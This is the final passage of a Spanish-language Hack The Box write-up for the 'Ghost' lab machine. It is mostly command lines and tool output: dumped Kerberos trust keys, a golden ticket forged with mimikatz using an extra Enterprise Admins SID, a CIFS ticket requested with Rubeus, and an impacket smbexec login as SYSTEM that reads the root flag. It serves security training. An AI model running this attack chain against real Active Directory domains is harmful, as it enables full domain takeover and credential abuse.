a8 9d 10 d7 f8 60 1c a9 4a 56 b2 b0 d2 ad 4f bf 00 c5 36 48 77 18 ec * aes256_hmac 2a6246855d7048ad3f39be69a216742c193afa3d841f46c4a269ba8468f3b163 * aes128_hmac a98256f08f9da89d7880ab72ff57ecfb * rc4_hmac_nt ba8ef93f824c0f3b1e98037ae08ab68c mimikatz(commandline) # exit Bye! |
Y sacamos los SID
|
1 2 3 4 5 |
PS C:\temp> Convert-NameToSid ghost.htb\krbtgt Convert-NameToSid ghost.htb\krbtgt S-1-5-21-4084500788-938703357-3654145966-502 PS C:\temp> Get-DomainSID S-1-5-21-2034262909-2733679486-179904498 |
Ahora que tenemos todos los datos, generamos el ticket
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
C:\temp>.\mimikatz.exe "kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498-502 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:golden.kirbi" exit .\mimikatz.exe "kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498-502 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:golden.kirbi" exit .#####. mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > http://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > http://pingcastle.com / http://mysmartlogon.com ***/ mimikatz(commandline) # kerberos::golden /user:Administrator /domain:CORP.GHOST.HTB /sid:S-1-5-21-2034262909-2733679486-179904498-502 /sids:S-1-5-21-4084500788-938703357-3654145966-519 /rc4:dae1ad83e2af14a379017f244a2f5297 /service:krbtgt /target:GHOST.HTB /ticket:golden.kirbi User : Administrator Domain : CORP.GHOST.HTB (CORP) SID : S-1-5-21-2034262909-2733679486-179904498-502 User Id : 500 Groups Id : *513 512 520 518 519 Extra SIDs: S-1-5-21-4084500788-938703357-3654145966-519 ; ServiceKey: dae1ad83e2af14a379017f244a2f5297 - rc4_hmac_nt Service : krbtgt Target : GHOST.HTB Lifetime : 7/24/2024 1:05:59 AM ; 7/22/2034 1:05:59 AM ; 7/22/2034 1:05:59 AM -> Ticket : golden.kirbi * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Final Ticket Saved to file ! mimikatz(commandline) # exit Bye! |
Y nos impersonamos con Rubeus
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
PS C:\temp> .\Rubeus.exe asktgs /ticket:golden.kirbi /service:CIFS/DC01.GHOST.HTB /dc:GHOST.HTB /ptt /outfile:admin.kirbi .\Rubeus.exe asktgs /ticket:golden.kirbi /service:CIFS/DC01.GHOST.HTB /dc:GHOST.HTB /ptt /outfile:admin.kirbi ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.2.0 [*] Action: Ask TGS [*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket [*] Building TGS-REQ request for: 'CIFS/DC01.GHOST.HTB' [*] Using domain controller: GHOST.HTB (10.10.11.24) [+] TGS request successful! [+] Ticket successfully imported! [*] base64(ticket.kirbi): doIFAjCCBP6gAwIBBaEDAgEWooIEAzCCA/9hggP7MIID96ADAgEFoQsbCUdIT1NULkhUQqIhMB+gAwIB AqEYMBYbBENJRlMbDkRDMDEuR0hPU1QuSFRCo4IDvjCCA7qgAwIBEqEDAgEEooIDrASCA6hiyIwnIQty o7fcRAkBJlVwV/YJ2jUMgIRQqEJ3CIKUbYx1w2FfTgFxkxMlFYOxi46ZvkI/sT4Fo9Xd72fxck4ozFLd 9j0UPmr1NUzDeO7yzJomAvlWj9Cjq0OPnzvk+cxyecPCUMZUuL04ojVk1eoY4UxxziYae8i2xbLciraV SAq5pmKPFQiDoAqbhChWliiM1i8x26rXOB/lU2Q1b5J36c865cQYIwoG7q2hTn5iMa9ObGVEM+eC+Fk1 C2W4isva6weI8TvXz2sHI7nb2Vgp7voZ4bct27EDk/Znzj/+j0ijxuYOcasRZyAjJCQWaMSAaiQUp0dQ drDxuYswanv0WTqqZpasV+7fzYs5coQp8WhkMiaLi+3Tp01esJwsNFW51ldtKihycrmw8BSOkC9fwhs6 xqxJdkgz4y4KFGvptsGXPlD1yQ6aYt0RawEJYuiNg5/WY8rXK7u4dIGchCyZCJWE6OfgHSI6ZMs5NgQi Yb+ax1CxVyJigIAdjW8Ulesz/qFqkvuBl6E3V1K+4o+V33nQLQCHVo51IfLuP8tdiTSQgPojx/g0Xu/1 OZDCaQE9FxeOBXUdu0btU063rd6l17DKYazlJjSWW+zGJFX0awyCMZ657JsHd2xRGfoGvkvT7eoXMhjy BNwFSoZDnhVI8poGx+FND9WNUtc+2ha/xwRIAVLALcIw1dCPu1cKX1rxiI/OV3Ph6p7kRXH4f54uj/5+ Rq5pgq5KnqTq4z+bndTFeCAzTsVeX774EMVklpqz9udp8eMlMXeZ8QW+CVeK5+3+5wkfjHDWBlPbZ3Nr h24kEolThg0fj7qo1DVu2/kPBh0hqmz/sbbrFrTvxbOTqRiZx2P6G70R3j7lytXiAgaW2cUlQBWYi6Gd mm///uABZIpvRWKoxuKVpg85NjZAsFhHnFbNch4EtO0uLF5xC49TSpYZyXEYf4O2K/znKp1n4sg/Q9vX BbwnHyk8icKSIOsWYYyj7txFEGcSt0J7vsoOxjeQeg+cAAgMMZ2v5VuLFwc1FAeX78MOXC7kNvSUB5ux yVkCFTwhmjTqYlw1f9vpwm31XdZyQoYhwQXD44VO3Y/qWLN15FOa/t4oUXxPlg+hzlb4XO3Qnk8IJQCz /j/tXukk3Rt6xvtrCKyCQua7nnN7WoibuUN1YHBiqiID+zci1nODaV0aQeUAb08a65GlxqdiOLeSyQpk 3fSAtbd1jRfTC3yiYCq+hR0zTYI4xEdf3i+BlrajgeowgeegAwIBAKKB3wSB3H2B2TCB1qCB0zCB0DCB zaArMCmgAwIBEqEiBCCE2PQN4jdPNn+bLe4dUzPECpH+t/jSPrQ2ruCcbXHenaEQGw5DT1JQLkdIT1NU LkhUQqIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEClAAClERgPMjAyNDA3MjUwOTA0NTda phEYDzIwMjQwNzI1MTkwNDU3WqcRGA8yMDI0MDgwMTA5MDQ1N1qoCxsJR0hPU1QuSFRCqSEwH6ADAgEC oRgwFhsEQ0lGUxsOREMwMS5HSE9TVC5IVEI= ServiceName : CIFS/DC01.GHOST.HTB ServiceRealm : GHOST.HTB UserName : Administrator UserRealm : CORP.GHOST.HTB StartTime : 7/25/2024 2:04:57 AM EndTime : 7/25/2024 12:04:57 PM RenewTill : 8/1/2024 2:04:57 AM Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : hNj0DeI3TzZ/my3uHVMzxAqR/rf40j60Nq7gnG1x3p0= [*] Ticket written to admin.kirbi |
Ahora podemos acceder a la máquina del DC, pero sólo podemos leer o editar ficheros, así que movemos el ticket creado
|
1 |
PS C:\temp> copy c:\temp\admin.kirbi \\DC01.ghost.htb\c$\temp\ |
Lo convertimos para poder acceder por smbexec
|
1 |
impacket-ticketConverter admin.kirbi admin.ccache |
exportamos
|
1 |
export KRB5CCNAME=admin.ccache |
y conectamos al servidor
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ impacket-smbexec administrator@dc01.ghost.htb -debug -k -no-pass -dc-ip 10.10.11.24 -shell-type powershell Impacket v0.12.0.dev1 - Copyright 2023 Fortra [+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket [+] StringBinding ncacn_np:dc01.ghost.htb[\pipe\svcctl] [+] Using Kerberos Cache: admin.ccache [+] Domain retrieved from CCache: CORP.GHOST.HTB [+] Returning cached credential for CIFS/DC01.GHOST.HTB@GHOST.HTB [+] Using TGS from cache [+] Changing sname from CIFS/DC01.GHOST.HTB@GHOST.HTB to CIFS/DC01.GHOST.HTB@CORP.GHOST.HTB and hoping for the best [+] Executing %COMSPEC% /Q /c echo cd ^> \\%COMPUTERNAME%\C$\__output 2^>^&1 > %SYSTEMROOT%\mfDgOfbm.bat & %COMSPEC% /Q /c %SYSTEMROOT%\mfDgOfbm.bat & del %SYSTEMROOT%\mfDgOfbm.bat [!] Launching semi-interactive shell - Careful what you execute PS C:\Windows\system32> whoami [+] Executing %COMSPEC% /Q /c echo powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAiADsAdwBoAG8AYQBtAGkA ^> \\%COMPUTERNAME%\C$\__output 2^>^&1 > %SYSTEMROOT%\lPqqKcyv.bat & %COMSPEC% /Q /c %SYSTEMROOT%\lPqqKcyv.bat & del %SYSTEMROOT%\lPqqKcyv.bat nt authority\system |
Obteniendo la flag de root
Una vez dentro, cogemos nuestra flag para dar por finalizada la máquina Ghost
|
1 2 3 4 5 |
PS C:\Windows\system32> type c:\users\administrator\desktop\root.txt [+] Executing %COMSPEC% /Q /c echo powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACIAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAiADsAdAB5AHAAZQAgAGMAOgBcAHUAcwBlAHIAcwBcAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABkAGUAcwBrAHQAbwBwAFwAcgBvAG8AdAAuAHQAeAB0AA== ^> \\%COMPUTERNAME%\C$\__output 2^>^&1 > %SYSTEMROOT%\tuIPyFqV.bat & %COMSPEC% /Q /c %SYSTEMROOT%\tuIPyFqV.bat & del %SYSTEMROOT%\tuIPyFqV.bat db06ff7f49b4cfe05a2181c32491778c PS C:\Windows\system32> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
